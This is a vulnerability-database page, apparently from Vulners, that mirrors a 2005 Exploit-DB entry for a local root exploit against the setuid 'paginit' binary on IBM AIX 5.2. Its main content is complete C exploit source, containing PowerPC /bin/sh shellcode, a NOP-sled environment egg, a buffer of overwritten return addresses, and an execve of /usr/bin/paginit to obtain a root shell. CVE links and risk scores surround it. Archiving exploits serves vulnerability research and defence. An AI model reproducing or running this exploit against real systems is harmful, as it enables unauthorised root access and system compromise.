Lucene search
+L

AIX 5.2 - 'paginit' Local Privilege Escalation

🗓️ 14 Jun 2005 00:00:00Reported by intropyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 69 Views

AIX 5.2 'paginit' Local Privilege Escalation exploit for IBM PowerP

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-2232
12 Jul 200504:00
cve
cve
CVE
CVE-2005-2236
12 Jul 200504:00
cve
cvelist
Cvelist
CVE-2005-2232
12 Jul 200504:00
cvelist
cvelist
Cvelist
CVE-2005-2236
12 Jul 200504:00
cvelist
euvd
EUVD
EUVD-2005-2233
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2005-2237
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-2232
12 Jul 200504:00
nvd
nvd
NVD
CVE-2005-2236
12 Jul 200504:00
nvd
redhatcve
RedhatCVE
CVE-2005-2232
21 May 202520:56
redhatcve
redhatcve
RedhatCVE
CVE-2005-2236
21 May 202520:57
redhatcve
Rows per page
/*
 *
 *    IBM AIX paginit root exploit
 *
 *    I just wanted to play with PowerPC (Tested on 5.2)
 *
 *    intropy (intropy <at> caughq.org)
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define DEBUG 1
#define BUFFERSIZE 8000
#define EGGSIZE 4003

#define NOP 0x60
#define ADDRESS 0x2ff22fff-EGGSIZE

/* lsd */
char shellcode_binsh[] =
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
"\x7f\xe8\x02\xa6"     /* mflr    r31                  */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
"\x44\xff\xff\x02"     /* svca                         */
"/bin/sh"
"\x05";

unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
        int count, env_size = strlen(payload) + environment_size + 4 + 1;
        unsigned long address, *ret_addressp;

        if (DEBUG) printf("Adding nops to environment buffer...");
        for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
            *(env_buffer++) = NOP;
        }
        if (DEBUG) printf("size %d...\n", count);
        if (DEBUG) printf("Adding payload to environment buffer...");
        for ( count = 0; count < strlen(payload); count++ ) {
            *(env_buffer++) = payload[count];
        }
        if (DEBUG) printf("size %d...\n", count);

        env_buffer[env_size - 1] = '\0';

        memcpy(env_buffer, "CAU=", 4);

	memset(address_buffer, 'A', buffer_size);

        address = ADDRESS;

        if (DEBUG) printf("Going for address @ 0x%lx\n", address);

        if (DEBUG) printf("Adding return address to buffer...");
        ret_addressp = (unsigned long *)(address_buffer+2);
        for ( count = 0; count < buffer_size; count += 4) {
                *(ret_addressp++) = address;
        }
        if (DEBUG) printf("size %d...\n", count);

        address_buffer[buffer_size - 1] = '\0';

        return( 0 );
}

int main()
{
    char *buffer, *egg;
    char *args[3], *envs[2];

    buffer = (char *)malloc(BUFFERSIZE);
    egg = (char *)malloc(EGGSIZE);

    cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);

    args[0] = "/usr/bin/paginit";
    args[1] = buffer;
    args[2] = NULL;

    envs[0] = egg;
    envs[1] = NULL;

    execve( "/usr/bin/paginit", args, envs );

    return( 0 );
}

// milw0rm.com [2005-06-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2005 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01155
69